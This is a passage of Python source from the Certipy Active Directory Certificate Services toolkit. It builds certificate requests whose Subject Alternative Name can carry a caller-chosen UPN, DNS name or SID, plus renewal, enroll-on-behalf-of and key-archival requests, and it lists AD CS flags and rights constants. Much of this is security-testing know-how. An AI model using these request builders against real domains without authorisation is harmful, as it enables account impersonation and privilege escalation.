asn1x509.AnotherName( { "type_id": OID_NTDS_OBJECTSID, "value": asn1x509.OctetString( alt_sid.encode() ).retag({"explicit": 0}), } ) } ) ], } ) # Add extension to CSR attributes set_of_extensions = asn1csr.SetOfExtensions([[san_extension]]) cri_attribute = asn1csr.CRIAttribute( {"type": "extension_request", "values": set_of_extensions} ) cri_attributes.append(cri_attribute) # Add renewal certificate if provided if renewal_cert: cri_attributes.append( asn1csr.CRIAttribute( { "type": "1.3.6.1.4.1.311.13.1", "values": asn1x509.SetOf( [asn1x509.Certificate.load(cert_to_der(renewal_cert))], spec=asn1x509.Certificate, ), } ) ) # Add Microsoft Application Policies if requested if application_policies: # Convert each policy OID string to PolicyIdentifier application_policy_oids = [ asn1x509.PolicyInformation( {"policy_identifier": asn1x509.PolicyIdentifier(ap)} ) for ap in application_policies ] # Create certificate policies extension cert_policies = asn1x509.CertificatePolicies(application_policy_oids) der_encoded_cert_policies = cert_policies.dump() # Create application policies extension app_policy_extension = asn1x509.Extension( { "extn_id": "1.3.6.1.4.1.311.21.10", # OID for Microsoft Application Policies "critical": False, "extn_value": asn1x509.ParsableOctetString(der_encoded_cert_policies), } ) # Add extension to CSR attributes set_of_extensions = asn1csr.SetOfExtensions([[app_policy_extension]]) cri_attribute = asn1csr.CRIAttribute( {"type": "extension_request", "values": set_of_extensions} ) cri_attributes.append(cri_attribute) # Set all CSR attributes certification_request_info["attributes"] = cri_attributes # Sign the CSR signature = rsa_pkcs1v15_sign(certification_request_info.dump(), key) # Create the final CSR csr = asn1csr.CertificationRequest( { "certification_request_info": certification_request_info, "signature_algorithm": asn1csr.SignedDigestAlgorithm( {"algorithm": "sha256_rsa"} ), "signature": signature, } ) return (der_to_csr(csr.dump()), key) def create_csr_attributes( template: str, alt_dns: Optional[Union[bytes, str]] = None, alt_upn: Optional[Union[bytes, str]] = None, alt_sid: Optional[Union[bytes, str]] = None, application_policies: Optional[List[str]] = None, ) -> List[str]: """ Create a list of CSR attributes based on the provided template and Subject Alternative Name options. This function generates the attributes needed when requesting a certificate through Microsoft's certificate enrollment web services. It formats the template name and any requested SAN entries according to Microsoft's specifications. Args: template: Certificate template name to request alt_dns: Alternative DNS name to include in the certificate SAN alt_upn: Alternative User Principal Name (UPN) to include in the certificate SAN alt_sid: Alternative Security Identifier (SID) to include in the certificate SAN as a URL Returns: List of formatted CSR attribute strings ready for use in certificate requests """ # Start with the certificate template attribute attributes = [f"CertificateTemplate:{template}"] # Only add SAN attribute if at least one SAN value is provided if any(value is not None for value in [alt_dns, alt_upn, alt_sid]): san_parts = [] # Process DNS name if alt_dns: # Convert bytes to string if needed if isinstance(alt_dns, bytes): alt_dns = alt_dns.decode("utf-8") san_parts.append(f"dns={alt_dns}") # Process User Principal Name if alt_upn: # Convert bytes to string if needed if isinstance(alt_upn, bytes): alt_upn = alt_upn.decode("utf-8") san_parts.append(f"upn={alt_upn}") # Process Security Identifier if alt_sid: # Convert bytes to string if needed if isinstance(alt_sid, bytes): alt_sid = alt_sid.decode("utf-8") # Format SID as URL according to Microsoft's specifications san_parts.append(f"url={SAN_URL_PREFIX}{alt_sid}") # Join all SAN parts with ampersands attributes.append(f"SAN:{'&'.join(san_parts)}") # Add application policies if provided if application_policies: # Join all application policy parts with ampersands attributes.append(f"ApplicationPolicies:{'&'.join(application_policies)}") return attributes # ========================================================================= # Advanced certificate operations # ========================================================================= def create_renewal( request: bytes, cert: x509.Certificate, key: rsa.RSAPrivateKey, ) -> bytes: """ Create a certificate renewal request. Args: request: Original request data cert: Certificate being renewed key: Private key for signing Returns: CMC renewal request as bytes Raises: ValueError: If signature algorithm is not set """ x509_cert = asn1x509.Certificate.load(cert_to_der(cert)) signature_hash_algorithm = cert.signature_hash_algorithm.__class__ if signature_hash_algorithm is type(None): raise ValueError("Signature hash algorithm is not set in the certificate") # Create SignerInfo issuer_and_serial = asn1cms.IssuerAndSerialNumber( { "issuer": x509_cert.issuer, "serial_number": x509_cert.serial_number, } ) digest_algorithm = asn1cms.DigestAlgorithm( {"algorithm": signature_hash_algorithm.name} ) # Create signed attributes with renewal certificate signed_attribs = asn1cms.CMSAttributes( [ asn1cms.CMSAttribute( { "type": "1.3.6.1.4.1.311.13.1", "values": asn1cms.SetOfAny( [asn1x509.Certificate.load(cert_to_der(cert))], spec=asn1x509.Certificate, ), } ), asn1cms.CMSAttribute( { "type": "message_digest", "values": [hash_digest(request, signature_hash_algorithm)], } ), ] ) # Sign the attributes attribs_signature = rsa_pkcs1v15_sign( signed_attribs.dump(), key, hash_algorithm=signature_hash_algorithm ) # Create SignerInfo signer_info = asn1cms.SignerInfo( { "version": 1, "sid": issuer_and_serial, "digest_algorithm": digest_algorithm, "signature_algorithm": x509_cert["signature_algorithm"], "signature": attribs_signature, "signed_attrs": signed_attribs, } ) # Create SignedData content_info = asn1cms.EncapsulatedContentInfo( { "content_type": "data", "content": request, } ) signed_data = asn1cms.SignedData( { "version": 3, "digest_algorithms": [digest_algorithm], "encap_content_info": content_info, "certificates": [asn1cms.CertificateChoices({"certificate": x509_cert})], "signer_infos": [signer_info], } ) # Create CMC ContentInfo cmc = asn1cms.ContentInfo( { "content_type": "signed_data", "content": signed_data, } ) return cmc.dump() def create_on_behalf_of( request: bytes, on_behalf_of: str, cert: x509.Certificate, key: rsa.RSAPrivateKey, ) -> bytes: """ Create a certificate request on behalf of another user. Args: request: Original request data on_behalf_of: Username to request on behalf of cert: Certificate for signing key: Private key for signing Returns: CMC on-behalf-of request as bytes Raises: ValueError: If signature algorithm is not set """ x509_cert = asn1x509.Certificate.load(cert_to_der(cert)) signature_hash_algorithm = cert.signature_hash_algorithm.__class__ if signature_hash_algorithm is type(None): raise ValueError("Signature hash algorithm is not set in the certificate") # Create SignerInfo issuer_and_serial = asn1cms.IssuerAndSerialNumber( { "issuer": x509_cert.issuer, "serial_number": x509_cert.serial_number, } ) digest_algorithm = asn1cms.DigestAlgorithm( {"algorithm": signature_hash_algorithm.name} ) # Create requester name attribute requester_name = EnrollmentNameValuePair( { "name": checkNullString("requestername"), "value": checkNullString(on_behalf_of), } ) # Create signed attributes with requester name signed_attribs = asn1cms.CMSAttributes( [ asn1cms.CMSAttribute( { "type": "1.3.6.1.4.1.311.21.10", "values": [asn1cms.ObjectIdentifier("1.3.6.1.5.5.7.3.2")], } ), asn1cms.CMSAttribute( {"type": "1.3.6.1.4.1.311.13.2.1", "values": [requester_name]} ), asn1cms.CMSAttribute( { "type": "message_digest", "values": [hash_digest(request, signature_hash_algorithm)], } ), ] ) # Sign the attributes attribs_signature = rsa_pkcs1v15_sign( signed_attribs.dump(), key, hash_algorithm=signature_hash_algorithm ) # Create SignerInfo signer_info = asn1cms.SignerInfo( { "version": 1, "sid": issuer_and_serial, "digest_algorithm": digest_algorithm, "signature_algorithm": x509_cert["signature_algorithm"], "signature": attribs_signature, "signed_attrs": signed_attribs, } ) # Create SignedData content_info = asn1cms.EncapsulatedContentInfo( { "content_type": "data", "content": request, } ) signed_data = asn1cms.SignedData( { "version": 3, "digest_algorithms": [digest_algorithm], "encap_content_info": content_info, "certificates": [asn1cms.CertificateChoices({"certificate": x509_cert})], "signer_infos": [signer_info], } ) # Create CMC ContentInfo cmc = asn1cms.ContentInfo( { "content_type": "signed_data", "content": signed_data, } ) return cmc.dump() def create_key_archival( csr: x509.CertificateSigningRequest, private_key: rsa.RSAPrivateKey, cax_cert: x509.Certificate, ) -> bytes: """ Create a key archival request. Args: csr: Certificate signing request private_key: Private key to be archived cax_cert: Key archival agent certificate Returns: CMC key archival request as bytes Raises: ValueError: If signature algorithm is not set TypeError: If CAX certificate doesn't have an RSA public key """ x509_cax_cert = asn1x509.Certificate.load(cert_to_der(cax_cert)) x509_csr = asn1csr.CertificationRequest.load(csr_to_der(csr)) signature_hash_algorithm = csr.signature_hash_algorithm.__class__ if signature_hash_algorithm is type(None): raise ValueError("Signature hash algorithm is not set in the CSR") # Generate symmetric encryption key and IV symmetric_key = os.urandom(32) # 256-bit AES key iv = os.urandom(16) # 128-bit IV for CBC mode # Get CAX certificate public key cax_key = cax_cert.public_key() if not isinstance(cax_key, rsa.RSAPublicKey): raise TypeError("cax_key must be an instance of RSAPublicKey") # Encrypt symmetric key with CAX public key encrypted_key = cax_key.encrypt(symmetric_key, padding.PKCS1v15()) # Create EnvelopedData # Set up recipient info cax_issuer_and_serial = asn1cms.IssuerAndSerialNumber( { "issuer": x509_cax_cert.issuer, "serial_number": x509_cax_cert.serial_number, } ) recipient_info = asn1cms.KeyTransRecipientInfo( { "version": 0, "rid": cax_issuer_and_serial, "key_encryption_algorithm": asn1cms.KeyEncryptionAlgorithm( {"algorithm": "rsaes_pkcs1v15"} ), "encrypted_key": encrypted_key, } ) # Set up encryption algorithm parameters encryption_algorithm = asn1cms.EncryptionAlgorithm( {"algorithm": "aes256_cbc", "parameters": iv} ) # Convert private key to Microsoft BLOB format private_key_bytes = private_key_to_ms_blob(private_key) # Encrypt private key with symmetric key cipher = Cipher(algorithms.AES(symmetric_key), modes.CBC(iv)) # Pad data to block size padder = PKCS7(encryption_algorithm.encryption_block_size * 8).padder() padded_private_key_bytes = padder.update(private_key_bytes) + padder.finalize() # Encrypt the padded data encryptor = cipher.encryptor() encrypted_private_key_bytes = ( encryptor.update(padded_private_key_bytes) + encryptor.finalize() ) # Create encrypted content info encrypted_content_info = asn1cms.EncryptedContentInfo( { "content_type": "data", "content_encryption_algorithm": encryption_algorithm, "encrypted_content": encrypted_private_key_bytes, } ) # Create enveloped data structure enveloped_data = asn1cms.EnvelopedData( { "version": 0, "recipient_infos": asn1cms.RecipientInfos([recipient_info]), "encrypted_content_info": encrypted_content_info, } ) # Wrap in ContentInfo enveloped_data_info = asn1cms.ContentInfo( { "content_type": "1.2.840.113549.1.7.3", "content": enveloped_data, } ) # Calculate encrypted key hash encrypted_key_hash = hash_digest( enveloped_data_info.dump(), signature_hash_algorithm ) # Create PKIData # Create attribute set with encrypted key hash attributes = asn1csr.SetOfAttributes( [ asn1csr.Attribute( { "type": OID_ENCRYPTED_KEY_HASH, "values": [asn1core.OctetString(encrypted_key_hash)], } ) ] ) # Create CMC add attributes info attributes_info = CMCAddAttributesInfo( {"data_reference": 0, "cert_reference": [1], "attributes": attributes} ) # Create tagged attribute tagged_attribute = TaggedAttribute( { "bodyPartID": 2, "attrType": OID_CMC_ADD_ATTRIBUTES, "attrValues": [attributes_info], } ) # Create tagged request with CSR tagged_request = TaggedRequest( { "tcr": TaggedCertificationRequest( { "bodyPartID": 1, "certificationRequest": asn1csr.CertificationRequest().load( csr_to_der(csr) ), } ) } ) # Assemble PKIData pki_data = PKIData( { "controlSequence": [tagged_attribute], "reqSequence": [tagged_request], "cmsSequence": TaggedContentInfos([]), "otherMsgSequence": OtherMsgs([]), } ) pki_data_bytes = pki_data.dump() # Calculate request hash cmc_request_hash = hash_digest(pki_data_bytes, signature_hash_algorithm) # Create SignerInfo digest_algorithm = asn1cms.DigestAlgorithm( {"algorithm": signature_hash_algorithm.name} ) # Create subject key identifier from CSR public key skid = SubjectKeyIdentifier.from_public_key(csr.public_key()).digest # Create signed attributes signed_attribs = asn1cms.CMSAttributes( [ asn1cms.CMSAttribute( {"type": "content_type", "values": ["1.3.6.1.5.5.7.12.2"]} ), asn1cms.CMSAttribute( { "type": "message_digest", "values": [cmc_request_hash], } ), ] ) # Sign the attributes attribs_signature = rsa_pkcs1v15_sign( signed_attribs.dump(), private_key, hash_algorithm=signature_hash_algorithm ) # Create signer info with enveloped data in unsigned attributes signer_info = asn1cms.SignerInfo( { "version": 3, "sid": asn1cms.SignerIdentifier({"subject_key_identifier": skid}), "digest_algorithm": digest_algorithm, "signature_algorithm": x509_csr["signature_algorithm"], "signature": attribs_signature, "signed_attrs": signed_attribs, "unsigned_attrs": asn1cms.CMSAttributes( [ asn1cms.CMSAttribute( { "type": "1.3.6.1.4.1.311.21.13", "values": [enveloped_data_info], } ) ] ), } ) # Create SignedData content_info = asn1cms.EncapsulatedContentInfo( { "content_type": "1.3.6.1.5.5.7.12.2", "content": pki_data_bytes, } ) signed_data = asn1cms.SignedData( { "version": 3, "digest_algorithms": [digest_algorithm], "encap_content_info": content_info, "signer_infos": [signer_info], } ) # Create CMC ContentInfo cmc = asn1cms.ContentInfo( { "content_type": "signed_data", "content": signed_data, } ) return cmc.dump() Certipy-5.1.0/certipy/lib/channel_binding.py000066400000000000000000000100141521657466500210520ustar00rootroot00000000000000import hashlib import ssl import httpx def get_channel_binding_data(server_cert: bytes) -> bytes: """ Generate channel binding token (CBT) from a server certificate. This implements the tls-server-end-point channel binding type as described in RFC 5929 section 4. The binding token is created by: 1. Hashing the server certificate with SHA-256 2. Creating a channel binding structure with the hash 3. Computing an MD5 hash of the structure Args: server_cert: Raw server certificate bytes Returns: MD5 hash of the channel binding structure (16 bytes) References: - RFC 5929: https://datatracker.ietf.org/doc/html/rfc5929#section-4 """ # Hash the certificate with SHA-256 as required by the RFC cert_hash = hashlib.sha256(server_cert).digest() # Initialize the channel binding structure with empty addresses # These fields are defined in the RFC but not used for TLS bindings initiator_address = b"\x00" * 8 acceptor_address = b"\x00" * 8 # Create the application data with the "tls-server-end-point:" prefix application_data_raw = b"tls-server-end-point:" + cert_hash # Add the length prefix to the application data (little-endian 32-bit integer) len_application_data = len(application_data_raw).to_bytes( 4, byteorder="little", signed=False ) application_data = len_application_data + application_data_raw # Assemble the complete channel binding structure channel_binding_struct = initiator_address + acceptor_address + application_data # Return the MD5 hash of the structure return hashlib.md5(channel_binding_struct).digest() def get_channel_binding_data_from_response(response: httpx.Response) -> bytes: """ Extract channel binding data from an HTTPX response. This function extracts the server certificate from an HTTPX response and generates the channel binding token used for authentication. Args: response: The HTTPX response object containing TLS connection information Returns: The channel binding token as bytes Raises: ValueError: If unable to extract required TLS information from the response """ # Check if network stream is available in response extensions if "network_stream" not in response.extensions: raise ValueError( "No network stream found in response - TLS information unavailable" ) # Extract the TLS/SSL object from the network stream network_stream = response.extensions["network_stream"] ssl_object = network_stream.get_extra_info("ssl_object") if ssl_object is None: raise ValueError( "No SSL object found in network stream - connection may not be using TLS" ) # Get the peer/server certificate in binary (DER) format peer_cert = ssl_object.getpeercert(True) if peer_cert is None: raise ValueError( "No peer certificate found in SSL object - server may not have presented a certificate" ) # Generate and return channel binding data using the server certificate return get_channel_binding_data(peer_cert) def get_channel_binding_data_from_ssl_socket(ssl_socket: ssl.SSLSocket) -> bytes: """ Extract channel binding data from an SSL socket. This function extracts the server certificate from an SSL socket and generates the channel binding token used for authentication. Args: ssl_socket: The SSL socket object containing TLS connection information Returns: The channel binding token as bytes Raises: ValueError: If unable to extract required TLS information from the socket """ # Get the peer/server certificate in binary (DER) format peer_cert = ssl_socket.getpeercert(True) if peer_cert is None: raise ValueError( "No peer certificate found in SSL socket - server may not have presented a certificate" ) # Generate and return channel binding data using the server certificate return get_channel_binding_data(peer_cert) Certipy-5.1.0/certipy/lib/constants.py000077500000000000000000000634471521657466500200110ustar00rootroot00000000000000""" Constants module for Certipy. This module defines various constants used throughout Certipy for: - User agent strings for HTTP requests - Well-known security identifiers (SIDs) and relative identifiers (RIDs) - PKI certificate flags and options - Access control and rights constants - Extended permissions mapping - OID (Object Identifier) mappings These constants are primarily used when interacting with Active Directory, certificate services, and security descriptors. """ from certipy.lib.structs import IntFlag # ========================================================================= # User Agent # ========================================================================= LATEST_EDGE_VERSION = "136.0.3240.50" USER_AGENT = f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{LATEST_EDGE_VERSION.split('.')[0]}.0.0.0 Safari/537.36 Edg/{LATEST_EDGE_VERSION}" # ========================================================================= # Security Identifiers (SIDs) and Relative Identifiers (RIDs) # ========================================================================= # Well-known SIDs mapping to (name, object type) # Source: https://github.com/fox-it/BloodHound.py/blob/d665959c58d881900378040e6670fa12f801ccd4/bloodhound/ad/utils.py#L36 WELLKNOWN_SIDS = { # Null and World Authority "S-1-0": ("Null Authority", "USER"), "S-1-0-0": ("Nobody", "USER"), "S-1-1": ("World Authority", "USER"), "S-1-1-0": ("Everyone", "GROUP"), # Local Authority "S-1-2": ("Local Authority", "USER"), "S-1-2-0": ("Local", "GROUP"), "S-1-2-1": ("Console Logon", "GROUP"), # Creator Authority "S-1-3": ("Creator Authority", "USER"), "S-1-3-0": ("Creator Owner", "USER"), "S-1-3-1": ("Creator Group", "GROUP"), "S-1-3-2": ("Creator Owner Server", "COMPUTER"), "S-1-3-3": ("Creator Group Server", "COMPUTER"), "S-1-3-4": ("Owner Rights", "GROUP"), # Non-unique and NT Authority "S-1-4": ("Non-unique Authority", "USER"), "S-1-5": ("NT Authority", "USER"), "S-1-5-1": ("Dialup", "GROUP"), "S-1-5-2": ("Network", "GROUP"), "S-1-5-3": ("Batch", "GROUP"), "S-1-5-4": ("Interactive", "GROUP"), "S-1-5-6": ("Service", "GROUP"), "S-1-5-7": ("Anonymous", "GROUP"), "S-1-5-8": ("Proxy", "GROUP"), "S-1-5-9": ("Enterprise Domain Controllers", "GROUP"), "S-1-5-10": ("Principal Self", "USER"), "S-1-5-11": ("Authenticated Users", "GROUP"), "S-1-5-12": ("Restricted Code", "GROUP"), "S-1-5-13": ("Terminal Server Users", "GROUP"), "S-1-5-14": ("Remote Interactive Logon", "GROUP"), "S-1-5-15": ("This Organization", "GROUP"), "S-1-5-17": ("IUSR", "USER"), "S-1-5-18": ("Local System", "USER"), "S-1-5-19": ("NT Authority", "USER"), "S-1-5-20": ("Network Service", "USER"), "S-1-5-80-0": ("All Services", "GROUP"), # Built-in local groups "S-1-5-32-544": ("Administrators", "GROUP"), "S-1-5-32-545": ("Users", "GROUP"), "S-1-5-32-546": ("Guests", "GROUP"), "S-1-5-32-547": ("Power Users", "GROUP"), "S-1-5-32-548": ("Account Operators", "GROUP"), "S-1-5-32-549": ("Server Operators", "GROUP"), "S-1-5-32-550": ("Print Operators", "GROUP"), "S-1-5-32-551": ("Backup Operators", "GROUP"), "S-1-5-32-552": ("Replicators", "GROUP"), "S-1-5-32-554": ("Pre-Windows 2000 Compatible Access", "GROUP"), "S-1-5-32-555": ("Remote Desktop Users", "GROUP"), "S-1-5-32-556": ("Network Configuration Operators", "GROUP"), "S-1-5-32-557": ("Incoming Forest Trust Builders", "GROUP"), "S-1-5-32-558": ("Performance Monitor Users", "GROUP"), "S-1-5-32-559": ("Performance Log Users", "GROUP"), "S-1-5-32-560": ("Windows Authorization Access Group", "GROUP"), "S-1-5-32-561": ("Terminal Server License Servers", "GROUP"), "S-1-5-32-562": ("Distributed COM Users", "GROUP"), "S-1-5-32-568": ("IIS_IUSRS", "GROUP"), "S-1-5-32-569": ("Cryptographic Operators", "GROUP"), "S-1-5-32-573": ("Event Log Readers", "GROUP"), "S-1-5-32-574": ("Certificate Service DCOM Access", "GROUP"), "S-1-5-32-575": ("RDS Remote Access Servers", "GROUP"), "S-1-5-32-576": ("RDS Endpoint Servers", "GROUP"), "S-1-5-32-577": ("RDS Management Servers", "GROUP"), "S-1-5-32-578": ("Hyper-V Administrators", "GROUP"), "S-1-5-32-579": ("Access Control Assistance Operators", "GROUP"), "S-1-5-32-580": ("Access Control Assistance Operators", "GROUP"), } # Well-known RIDs mapping to (name, object type) # Source: https://github.com/garrettfoster13/aced/blob/b5d1ad1b8cfb84a6420be22658beec340ef9e396/lib/sid.py#L48 WELLKNOWN_RIDS = { # Special accounts "500": ("Administrator", "USER"), "501": ("Guest", "USER"), "502": ("KRBTGT", "USER"), # Domain groups "512": ("Domain Admins", "GROUP"), "513": ("Domain Users", "GROUP"), "514": ("Domain Guests", "GROUP"), "515": ("Domain Computers", "GROUP"), "516": ("Domain Controllers", "GROUP"), "517": ("Cert Publishers", "GROUP"), # Administrative groups "518": ("Schema Admins", "GROUP"), "519": ("Enterprise Admins", "GROUP"), "520": ("Group Policy Creator Owners", "GROUP"), # Special controllers "521": ("Read-only Domain Controllers", "GROUP"), "522": ("Cloneable Domain Controllers", "GROUP"), "498": ("Enterprise Read-only Domain Controllers", "GROUP"), # Special purpose groups "526": ("Key Admins", "GROUP"), "527": ("Enterprise Key Admins", "GROUP"), "553": ("RAS and IAS Servers", "GROUP"), } # ========================================================================= # PKI Certificate Flags # ========================================================================= # Template flags # Source: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/6cc7eb79-3e84-477a-b398-b0ff2b68a6c0 class TemplateFlags(IntFlag): """ Certificate template flags that control template behavior. These flags define how certificate templates operate in Active Directory Certificate Services, including enrollment options, certificate type, and template modification restrictions. Reference: MS-CRTD 2.4 flags Attribute """ NONE = 0x00000000 # Reserved flags (must be ignored by all protocols) ADD_EMAIL = 0x00000002 # Include email in certificate PUBLISH_TO_DS = 0x00000008 # Publish certificate to directory EXPORTABLE_KEY = 0x00000010 # Allow private key export # Enrollment flags AUTO_ENROLLMENT = 0x00000020 # Template supports auto-enrollment # Certificate type flags MACHINE_TYPE = 0x00000040 # Certificate for machine authentication IS_CA = 0x00000080 # Certificate for CA issuance IS_CROSS_CA = 0x00000800 # Certificate for cross-certification # Certificate content flags ADD_TEMPLATE_NAME = 0x00000200 # Include template name in certificate extension # Database flags DO_NOT_PERSIST_IN_DB = 0x00001000 # Don't persist request in CA database # Template management flags IS_DEFAULT = 0x00010000 # Template should not be modified IS_MODIFIED = 0x00020000 # Template may be modified if required # Enrollment flags # Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1 class EnrollmentFlag(IntFlag): """ Flags controlling certificate enrollment behavior. These flags determine how certificates are enrolled, published, and managed throughout their lifecycle in Active Directory Certificate Services. Reference: MS-CRTD 2.26 msPKI-Enrollment-Flag Attribute """ # Base value NONE = 0x00000000 # No special enrollment behavior # Enrollment processing options INCLUDE_SYMMETRIC_ALGORITHMS = ( 0x00000001 # Include symmetric algorithms in requests ) PEND_ALL_REQUESTS = 0x00000002 # All requests must be manually approved USER_INTERACTION_REQUIRED = ( 0x00000100 # User interaction required during enrollment ) # Publication options PUBLISH_TO_KRA_CONTAINER = ( 0x00000004 # Publish certificates to Key Recovery Agent container ) PUBLISH_TO_DS = 0x00000008 # Publish certificates to Active Directory ADD_TEMPLATE_NAME = 0x00000200 # Add template name to issued certificates ADD_OCSP_NOCHECK = 0x00001000 # Add OCSP NoCheck extension # Auto-enrollment options AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = ( 0x00000010 # Check DS for existing certificate before auto-enrollment ) AUTO_ENROLLMENT = 0x00000020 # Enable auto-enrollment for this template SKIP_AUTO_RENEWAL = 0x00040000 # Skip auto-renewal even if otherwise enabled # Authentication options CT_FLAG_DOMAIN_AUTHENTICATION_NOT_REQUIRED = ( 0x00000080 # Domain authentication not required for enrollment ) PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = ( 0x00000040 # Validate re-enrollment requests requiring approval ) ALLOW_ENROLL_ON_BEHALF_OF = ( 0x00000800 # Allow enrollment on behalf of another user/computer ) ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = ( 0x00010000 # Allow key-based renewal with previous approval ) # Certificate store management REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = ( 0x00000400 # Remove invalid certificates from personal store ) ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL = ( 0x00002000 # Enable key reuse when token storage is full ) # Certificate content options NOREVOCATIONINFOINISSUEDCERTS = ( 0x00004000 # Don't include revocation info in certificates ) INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS = ( 0x00008000 # Include Basic Constraints for end-entity certs ) ISSUANCE_POLICIES_FROM_REQUEST = 0x00020000 # Obtain issuance policies from request NO_SECURITY_EXTENSION = 0x00080000 # Don't include security extension # Private key flags # Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667 class PrivateKeyFlag(IntFlag): """ Flags controlling certificate private key behavior. These flags define the handling, storage, and restrictions of private keys associated with certificates issued from a template. Reference: MS-CRTD 2.27 msPKI-Private-Key-Flag Attribute """ # Default value NONE = 0x00000000 # No special private key handling # Key archival and export settings REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001 # Require private key archival to KRA EXPORTABLE_KEY = 0x00000010 # Private key can be exported STRONG_KEY_PROTECTION_REQUIRED = ( 0x00000020 # Require strong key protection (password) ) # Key algorithm settings REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = ( 0x00000040 # Require alternate signature algorithm ) REQUIRE_SAME_KEY_RENEWAL = 0x00000080 # Require same key for renewal USE_LEGACY_PROVIDER = 0x00000100 # Use legacy cryptographic provider # Key attestation levels ATTEST_NONE = 0x00000000 # No attestation required ATTEST_PREFERRED = 0x00001000 # Attestation preferred but not required ATTEST_REQUIRED = 0x00002000 # Attestation required ATTESTATION_WITHOUT_POLICY = 0x00004000 # Attestation without specific policy # Endorsement key options EK_TRUST_ON_USE = 0x00000200 # Trust endorsement key on first use EK_VALIDATE_CERT = 0x00000400 # Validate endorsement key certificate EK_VALIDATE_KEY = 0x00000800 # Validate endorsement key itself # Special key types HELLO_LOGON_KEY = 0x00200000 # Key for Hello logon/Windows Hello # Certificate name flags # Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1 class CertificateNameFlag(IntFlag): """ Flags controlling certificate subject name creation and validation. These flags define how subject names and subject alternative names (SANs) are created, what information is included in certificates, and what naming constraints are enforced during certificate enrollment. Reference: MS-CRTD 2.28 msPKI-Certificate-Name-Flag Attribute """ # Base value NONE = 0x00000000 # No special naming behavior # Subject name source options ENROLLEE_SUPPLIES_SUBJECT = 0x00000001 # Enrollee can specify subject name OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME = ( 0x00000008 # Use subject from previous cert during renewal ) # Subject content inclusion options ADD_EMAIL = 0x00000002 # Include email address in subject name ADD_OBJ_GUID = 0x00000004 # Include Active Directory object GUID in SAN ADD_DIRECTORY_PATH = 0x00000100 # Include directory path (DN) in subject name # Subject alternative name options ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME = ( 0x00010000 # Enrollee can specify subject alternative names ) # Subject alternative name requirements SUBJECT_ALT_REQUIRE_DOMAIN_DNS = 0x00400000 # Require domain DNS name in SAN SUBJECT_ALT_REQUIRE_SPN = 0x00800000 # Require Service Principal Name in SAN SUBJECT_ALT_REQUIRE_DIRECTORY_GUID = 0x01000000 # Require directory GUID in SAN SUBJECT_ALT_REQUIRE_UPN = 0x02000000 # Require User Principal Name in SAN SUBJECT_ALT_REQUIRE_EMAIL = 0x04000000 # Require email address in SAN SUBJECT_ALT_REQUIRE_DNS = 0x08000000 # Require DNS name in SAN # Subject name requirements SUBJECT_REQUIRE_DNS_AS_CN = 0x10000000 # Require DNS name as common name (CN) SUBJECT_REQUIRE_EMAIL = 0x20000000 # Require email in subject name SUBJECT_REQUIRE_COMMON_NAME = 0x40000000 # Require common name (CN) in subject SUBJECT_REQUIRE_DIRECTORY_PATH = 0x80000000 # Require directory path in subject # ========================================================================= # Access Control and Rights # ========================================================================= # Access control types # Source: https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.accesscontroltype?view=net-5.0 class AccessControlType(IntFlag): """Access control types for access control entries.""" ALLOW = 0 DENY = 1 # Active Directory rights # Source: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=net-5.0 class ActiveDirectoryRights(IntFlag): """Rights applicable to Active Directory objects.""" # Object-level rights CREATE_CHILD = 1 DELETE_CHILD = 2 LIST_CHILDREN = 4 SELF = 8 READ_PROPERTY = 16 WRITE_PROPERTY = 32 DELETE_TREE = 64 LIST_OBJECT = 128 EXTENDED_RIGHT = 256 # Standard rights DELETE = 65536 READ_CONTROL = 131072 WRITE_DACL = 262144 WRITE_OWNER = 524288 SYNCHRONIZE = 1048576 ACCESS_SYSTEM_SECURITY = 16777216 # Generic rights GENERIC_READ = 131220 GENERIC_WRITE = 131112 GENERIC_EXECUTE = 131076 GENERIC_ALL = 983551 # Certificate rights class CertificateRights(IntFlag): """Rights applicable to certificate templates and related objects.""" WRITE_PROPERTY = 32 EXTENDED_RIGHT = 256 WRITE_DACL = 262144 WRITE_OWNER = 524288 GENERIC_WRITE = 131112 GENERIC_READ = 131220 GENERIC_ALL = 983551 # Certificate issuance policy rights class IssuancePolicyRights(IntFlag): """Rights applicable to certificate issuance policies.""" WRITE_PROPERTY = 32 WRITE_DACL = 262144 WRITE_OWNER = 524288 GENERIC_READ = 131220 GENERIC_ALL = 983551 # Certificate authority rights # Source: https://github.com/GhostPack/Certify/blob/2b1530309c0c5eaf41b2505dfd5a68c83403d031/Certify/Domain/CertificateAuthority.cs#L11 class CertificateAuthorityRights(IntFlag): """Rights applicable to certification authorities.""" MANAGE_CA = 1 MANAGE_CERTIFICATES = 2 AUDITOR = 4 OPERATOR = 8 READ = 256 ENROLL = 512 # ========================================================================= # Object Identifier (OID) Mappings # ========================================================================= # OID mappings to human-readable names # Source: https://www.pkisolutions.com/object-identifiers-oid-in-pki/ OID_TO_STR_MAP = { # Windows system and infrastructure "1.3.6.1.4.1.311.76.6.1": "Windows Update", "1.3.6.1.4.1.311.10.3.11": "Key Recovery", "1.3.6.1.4.1.311.10.3.25": "Windows Third Party Application Component", "1.3.6.1.4.1.311.21.6": "Key Recovery Agent", "1.3.6.1.4.1.311.10.3.6": "Windows System Component Verification", "1.3.6.1.4.1.311.61.4.1": "Early Launch Antimalware Drive", "1.3.6.1.4.1.311.10.3.23": "Windows TCB Component", 